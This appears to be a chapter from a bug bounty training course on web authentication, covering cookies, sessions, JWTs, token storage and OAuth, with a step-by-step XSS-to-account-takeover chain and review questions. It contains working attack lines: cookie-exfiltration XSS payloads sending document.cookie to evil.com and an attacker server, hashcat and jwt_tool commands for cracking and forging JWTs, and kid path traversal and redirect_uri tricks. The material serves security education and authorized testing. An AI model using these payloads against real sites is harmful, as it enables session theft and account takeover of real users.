Authentication is the single most exploited attack surface in bug bounty programs. This chapter tears apart how the web remembers who you are — cookies, sessions, JWTs, and OAuth — and shows exactly where that memory breaks down. Every major account takeover starts here.
A cookie is a small key-value string the server sends to your browser via a Set-Cookie response header. The browser stores it and automatically attaches it to every future request to that domain inside a Cookie header — no JavaScript required.
Server → Browser (sets the cookie)HTTP/1.1 200 OK
Set-Cookie: session=abc123xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
Browser → Server (echoes it on every request)GET /dashboard HTTP/1.1
Host: target.com
Cookie: session=abc123xyz789
document.cookie access from JavaScript. Without it, any XSS payload can steal the session token in one line: fetch("https://evil.com/?c="+document.cookie).Strict is even tighter. None requires Secure and opens CSRF risk.Path=/admin won't be sent to /api endpoints.Domain=.target.com sends the cookie to ALL subdomains — a subdomain takeover can then steal it.HttpOnly + stored XSS = confirmed Critical ATO. Missing SameSite + CSRF = High severity. Cookie scoped to Domain=.target.com + subdomain takeover = Critical. These flags are your checklist every time you see a session cookie.
Toggle flags to see how each one affects real attack surface. Watch the security score drop as you remove protections.
Generated Set-Cookie HeaderSet-Cookie: session=abc123xyz; HttpOnly; Secure; SameSite=Lax; Max-Age=3600; Path=/
The classic model: the server remembers you. After login, a random session ID is generated, stored server-side (in a database or Redis), and handed to your browser as a cookie. On every request, the server looks up that ID to find who you are.
abc123xyz). The server trusts it completely. If you steal it — via XSS, network sniffing, or log exposure — you ARE that user. The server cannot distinguish you from the real person. This is why session fixation, session riding, and XSS-to-ATO chains are so powerful.
document.cookie and exfiltrates it. Only works if HttpOnly is missing./app?sessionid=abc123). It leaks in Referer headers, server logs, and browser history.JWTs flip the model: instead of storing state on the server, the server encodes everything into a signed token and gives it to the client. The server just verifies the signature on each request — no database lookup needed. This scales well but creates a completely different attack surface.
JWT Structure — Three Base64URL-encoded segments separated by dotseyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 ← HEADER (red)
.
eyJ1c2VySWQiOjQyLCJyb2xlIjoidXNlciJ9 ← PAYLOAD (cyan)
.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQ ← SIGNATURE (grey)
Interact with the token. Inject attack vectors and watch the payload shift. All attacks below are real PortSwigger lab categories.
"alg":"none" in the header, strip the signature. Vulnerable servers skip verification entirely. Found on PortSwigger JWT Lab 1.secret, password123) can be cracked with hashcat -a 0 -m 16500 token.txt wordlist.txt. Once you have the secret, forge any payload.kid header parameter tells the server which key to use for verification. Inject a path traversal: "kid": "../../dev/null". If the server reads the key from a file path, an empty file signs with an empty secret — trivially guessable."jku" or "jwks_uri"). Point it to your own server hosting a crafted JWKS. The server fetches your keys and verifies your forged token as valid.exp claim, tokens live forever. A token captured via XSS 6 months ago is still valid. Test by manually decoding the exp value and checking if past-expiry tokens are accepted.hashcat — brute-force a weak JWT HMAC secrethashcat -a 0 -m 16500 \
"eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoidXNlciJ9.abc123" \
/usr/share/wordlists/rockyou.txt
# If cracked, forge a new token with jwt_tool:
python3 jwt_tool.py TOKEN -T -S hs256 -p "found_secret"
Confusing these two is one of the most common reasons access control bugs exist in the first place. They are entirely separate gates.
| Concept | Question it Answers | Failure = Bug Class | Severity Range |
|---|---|---|---|
| Authentication (AuthN) | Who are you? Verify identity via credentials, tokens, or certificates. | Broken login, credential stuffing, session theft, MFA bypass | Critical / High |
| Authorization (AuthZ) | What can you do? Check if the authenticated identity has permission for this action. | IDOR, broken access control, privilege escalation (vertical/horizontal) | High / Medium |
/api/orders/1001 to /api/orders/1002 — and see someone else's order (AuthZ ✗). The app knew who you were but didn't check whether you owned that resource. That's an IDOR — covered in depth in Chapter 9.
Where a token is stored determines how it can be stolen. Each storage location has a completely different threat model.
The gold standard for session tokens. With HttpOnly; Secure; SameSite=Lax, JS cannot read it, it only travels over HTTPS, and it won't be sent on cross-site requests. Pair with CSRF tokens for POST operations. Server can also invalidate it by deleting the server-side session record.
Survives browser restarts — convenient for users, dangerous for security. Any JavaScript running on the page can read it: localStorage.getItem('token'). A single stored XSS payload silently exfiltrates all tokens from every visitor. Popular with SPAs and React apps — check Application → Local Storage in DevTools during every engagement.
Same JS exposure as localStorage — sessionStorage.getItem('token') works identically. The only difference is it clears when the browser tab closes. Still fully exploitable via XSS during an active session. Not meaningfully safer than localStorage for an attacker who controls script execution.
SPAs often send JWTs in the Authorization: Bearer <token> header. The header itself is secure in transit, but the token has to be stored somewhere on the client to be attached — usually localStorage, inheriting all its risks. APIs that accept Bearer tokens are immune to CSRF but depend entirely on the storage location's security.
| Storage | Readable by JS? | XSS Risk | CSRF Risk | Persists? | Best For |
|---|---|---|---|---|---|
Cookie (HttpOnly) |
No | Blocked | Medium (SameSite fixes it) | Configurable | Session tokens |
localStorage |
Yes | Critical | None | Forever | Non-sensitive prefs only |
sessionStorage |
Yes | Critical | None | Tab lifetime | Short-lived non-sensitive |
Authorization header |
Depends on storage | Inherited | None | Depends | API auth (mobile/SPA) |
Nearly every "Login with Google / GitHub / Facebook" button uses OAuth 2.0. Bug bounty programs are full of OAuth misconfigurations because the flow has many moving parts that developers implement incorrectly. You need to understand this to hunt modern auth bugs.
accounts.google.com/o/oauth2/auth?client_id=...&redirect_uri=...&state=RANDOM state = CSRF protectionapp.com/callback?code=AUTH_CODE&state=RANDOM One-time codeaccess_token, id_token, refresh_token OIDC: id_token is a JWTstate value should be a random nonce tied to the user's session. If it's missing, static (state=1), or not validated server-side, CSRF on the OAuth flow lets attackers link their account to a victim's identity — often leading to ATO.redirect_uri (or loose validation like "must start with target.com"), attackers redirect the auth code to their server. The code is exchanged for a token — ATO. Check for: wildcard domains, path traversal, URL fragments.?access_token=xxx), it leaks in HTTP Referer headers to any third-party resources (analytics, CDNs) loaded on the same page.scope parameter to include elevated permissions: scope=admin+read:all.redirect_uri=https://app.target.com/callback but doesn't validate the path. Attacker submits redirect_uri=https://app.target.com/callback/../../../attacker-controlled-path. If path traversal works, auth code lands on attacker's endpoint. Reported for $5k-$20k on major programs.
These are representative findings from public HackerOne/Bugcrowd disclosures in the auth/session category. Study the attack chain — this is what reports look like.
alg:none. Attacker forged a reset token for any email address, stripping the signature. Full account takeover without knowing credentials.?session=TOKEN in GET requests. Token appeared in Apache access logs which were exposed via a misconfigured /logs/ directory — unauthenticated read access to millions of session tokens.SameSite and had no CSRF token on fund transfer endpoint. Attacker hosted a page with a hidden form. Any authenticated user visiting the attacker's page would silently transfer funds.kid header value. Injecting ../../../dev/null caused the server to sign with an empty string — trivially re-signable. Attacker escalated role from user to admin.Understanding how vulnerabilities chain together is what separates Critical reports from Medium ones. Here's how a missing HttpOnly flag becomes a full account takeover.
Find a user-controlled input (profile bio, comment, product review) that reflects unsanitized HTML back to other users. E.g.: <img src=x onerror="...">
Open DevTools → Application → Cookies. Confirm the session cookie does NOT have the HttpOnly flag checked. If it does, this chain is blocked — look for localStorage instead.
Inject: <script>new Image().src="https://your-server.com/steal?c="+document.cookie</script>. When any authenticated user views the page, their cookie is silently sent to your server.
Start a simple listener: python3 -m http.server 8080 or use Burp Collaborator. Incoming requests carry the victim's session ID in the query string.
In Burp Repeater (or browser DevTools → Application → Cookies → edit), replace your session cookie value with the captured one. Refresh the page. You are now authenticated as the victim — full ATO achieved.
Screenshot each step. Note the missing HttpOnly flag as the root cause, XSS as the delivery vector, and ATO as the impact. This chain typically qualifies as Critical severity.
| Tool | Purpose | Key Command / Usage |
|---|---|---|
| jwt.io | Decode & inspect JWT tokens in-browser | Paste any eyJ... token. Instantly see header, payload, verify signature. |
| jwt_tool | JWT attack automation (alg:none, confusion, brute-force) | python3 jwt_tool.py TOKEN -T (tamper mode) |
| hashcat | Brute-force weak HMAC JWT secrets | hashcat -a 0 -m 16500 token.txt rockyou.txt |
| Burp Suite | Intercept, modify, replay cookies & tokens | Proxy tab → intercept requests → edit Cookie header values directly |
| DevTools (F12) | Inspect storage, cookies, auth headers | Application tab → Cookies / Local Storage / Session Storage |
| Burp JWT Editor | Visual JWT attack interface inside Burp | Extensions → BApp Store → install "JWT Editor". New tab in Request viewer. |
Walk through, step-by-step, how a missing HttpOnly flag escalates a reflected XSS from a P3 to a P1. What does the exploit payload look like, and what does the attacker do with the captured token?
Name three distinct JWT attack vectors that result in forged tokens. For each: what server-side misconfiguration enables it, and what does the attacker change in the token?
A developer asks you: "Should I store the JWT in localStorage or a cookie?" Give the security argument for each option, and explain under what conditions each is acceptable.
Describe the OAuth CSRF attack that exploits a missing or static state parameter. What is the attacker's goal, and what does the victim need to do for the attack to succeed?
A user is authenticated (logged in) but accesses /api/admin/users without admin privileges — and the server returns the data. Is this an authentication bug or an authorization bug? What OWASP category does this fall under?